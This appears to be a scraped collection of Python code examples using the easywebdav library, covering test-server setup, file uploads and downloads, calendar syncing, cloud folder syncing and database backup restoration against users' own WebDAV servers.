            ),
            shell=True,
        )
        if "WEBDAV_LOGS" not in os.environ:
            process_props.update(
                stdout=subprocess.PIPE,
                stderr=subprocess.STDOUT,
                stdin=subprocess.PIPE,
            )
        _server_process = subprocess.Popen(**process_props)
        atexit.register(terminate_server)

        # Ensure server is running
        ensure_server_initialized()

        # Create client
        _client = easywebdav.connect(
            host='localhost',
            port=SERVER_PORT,
            username=SERVER_USERNAME,
            password=SERVER_PASSWORD,
        )

        _initialized = True
    except:
        _init_failed = True
        raise
Ejemplo n.º 52
0
  def upload_file_by_webdav(self):
    print('Uploading zip file via WebDAV')
    remote_path = self.zip_file_name + '.zip'
    local_path = os.path.join(self.output_dir, self.zip_file_name + '.zip')

    try:
      webdav = easywebdav.connect(webdav_host, protocol=webdav_protocol,
        verify_ssl=True,
        username=username, password=password, path=webdav_path)
      # upload method doesn't give us response information
      # webdav.upload(local_path, remote_path)
      with open(local_path, 'rb') as f:
        resp = webdav._send('PUT', remote_path, (200, 201, 204), data=f)
        print('Upload successful, response was %d' % resp.status_code)
    except Exception as e:
      print('Upload failed: %s' % e)
Ejemplo n.º 53
0
def init():
    global _initialized, _init_failed, _server_process, _server_path, _client
    if _init_failed:
        raise unittest.SkipTest('Test session initialization failed')
    try:
        if _initialized:
            return

        # Create server
        output('Starting WebDAV server')
        _server_path = '/tmp/easywebdav_tests'#tempfile.mkdtemp()
        if os.path.exists(_server_path):
            shutil.rmtree(_server_path)
        os.makedirs(_server_path)
        process_props = dict(
            args='davserver -D {path} -u {username} -p {password} -P {port}'.format(
                path=_server_path,
                username=SERVER_USERNAME,
                password=SERVER_PASSWORD,
                port=SERVER_PORT,
                ),
            shell=True,
            )
        if "WEBDAV_LOGS" not in os.environ:
            process_props.update(
                stdout=subprocess.PIPE,
                stderr=subprocess.STDOUT,
                stdin=subprocess.PIPE,
                )
        _server_process = subprocess.Popen(**process_props)
        atexit.register(terminate_server)

        # Ensure server is running
        ensure_server_initialized()

        # Create client
        _client = easywebdav.connect(
            host='localhost',
            port=SERVER_PORT,
            username=SERVER_USERNAME,
            password=SERVER_PASSWORD,
            )

        _initialized = True
    except:
        _init_failed = True
        raise
Ejemplo n.º 54
0
def upload(local_fname, lifetime, webdav_file_pattern, file_url_pattern):
    ''' Uploads the given file to the webdav server :)

    :param local_fname: file name of the local file
    :param lifetime: suggested lifetime of the uploaded file
    '''
    file_storage = get_passwords()[0]
    webdav = easywebdav.connect(file_storage.server,
                                username=file_storage.username,
                                password=file_storage.password,
                                protocol=file_storage.protocol)
    file_url_dict = get_file_name_dict(local_fname, lifetime, get_version_suffix())
    file_url_dict['protocol'] = file_storage.protocol
    file_url_dict['file_server'] = file_storage.server
    file_url_dict['file_path'] = file_storage.path
    file_url_dict['lifetime'] = lifetime
    file_url_dict['url'] = file_url_pattern.format(**file_url_dict)

    remote_fname = os_join(file_storage.path,
                           quote(webdav_file_pattern.format(**file_url_dict)))
    webdav.upload(local_fname, remote_fname)
    return file_url_dict
Ejemplo n.º 55
0
def fn(name):
    return os.path.join(os.getenv('HOME'), '.caldav-remind', name)
    
if not os.path.exists(fn('account')):
    sys.exit(0)
server, serverpath, user, pw = open(fn('account')).read().split()

# update the file even if there is an error
with open(fn('content'), 'w') as f:
    f.write('outdated\n')

import easywebdav
import icalendar
import datetime

webdav = easywebdav.connect(server, protocol='https', username=user, password=pw)
with open(fn('calendar.ical'), 'wb') as f:
    webdav.download(serverpath, f)

g = open(fn('calendar.ical'))
gcal = icalendar.Calendar.from_ical(g.read())
events = []
for component in gcal.walk():
    if component.name == "VEVENT":
        dt = component.decoded('dtstart')
        if isinstance(dt, datetime.datetime):
            dt = dt.date()
        events.append((dt, component))
g.close()

show_days = 16
Ejemplo n.º 56
0
import easywebdav
import requests
user='******'
pw='boobs'
webdav = easywebdav.connect('h711.webhop.me',
                            username=user,
                            password=pw,
                            path="remote.php/webdav",
                            protocol='http',
                            verify_ssl='./h711.webhop.me.pem'
                            )
# Do some stuff:
print webdav.ls("iTunes")

 def __init__(self, username, password, classes, path, verbose):
     self.w = easywebdav.connect("scholar.vt.edu", username=username,
                                 protocol="https", password=password)
     self.classes = classes
     self.path = path
     self.verbose = verbose
Ejemplo n.º 58
0
    pid = str(os.getpid())
    pidfile = "/tmp/safesync_agent.pid"
    if os.path.isfile(pidfile):
        logger.warning("%s already exists, exiting" % pidfile)
        sys.exit()
    else:
        f = open(pidfile, 'w')
        f.write(pid)
        f.close()

    ## Trend Micro Safesync configuration
    # APAC/America WebDAV server
    #safesync_host = "dav.dc1.safesync.com"
    # EMEA WebDAV server
    safesync_host = "dav.dc2.safesync.com"
    safesync_user = "******"
    safesync_pass = "******"

    ## My Cloud path
    local_root = "/nfs/Public"
    ## Trend Micro Safesync path
    remote_root ="/"

    webdav = easywebdav.connect(host=safesync_host, username=safesync_user,
                                password=safesync_pass, protocol="https", port=443)
    ## root folder
    download_folder(logger, webdav, remote_root, local_root)

    ## remove pid file
    os.unlink(pidfile)
Ejemplo n.º 59
0
    os.environ['PGPASSWORD'] = POSTGRESQL_PASSWORD
    os.system('psql -p %d -h %s -U %s %s < %s' % (POSTGRESQL_PORT, POSTGRESQL_SERVER, POSTGRESQL_USERNAME, db_name, filename_sql))

    try:
        os.unlink(filename_sql)
        os.unlink(s)
    except OSError as e:
        pass

DBNAME = 'SYNC_SERVER_XXX'

if match_any_wildcard(DBNAME):
    download_and_restore_syncserver(DBNAME)

webdav = easywebdav.connect('cloud.msf.org',
                            username=OWNCLOUD_USERNAME,
                            password=OWNCLOUD_PASSWORD,
                            protocol='https')
go_to_backups(webdav)
all_the_files = get_all_files_and_timestamp(webdav)
all_the_files = group_files_to_download(all_the_files)

for key, values in all_the_files.iteritems():

    if not values:
        continue


    if not match_any_wildcard(key):
        continue

    for filename, f in values:
# https://github.com/amnong/easywebdav
import easywebdav

# login credentials
username = "******"
password = "******"

# create the client; this is the necessary format 
webdav = easywebdav.connect(host="<your_subdomain>.stackstorage.com", path="/remote.php/webdav", port=443, protocol="https", verify_ssl=True, username=username, password=password)

# ready for some action
webdav.mkdir("test_dir")
webdav.exists("test_dir")
webdav.upload("path/to/local_file", "test_dir/remote_file")
webdav.exists("test_dir/remote_file")
webdav.ls("test_dir")
webdav.download("test_dir/remote_file", "path/to/download_file")
webdav.delete("test_dir/remote_file")
webdav.rmdir("test_dir")

#webdav.mkdirs("nested/directory")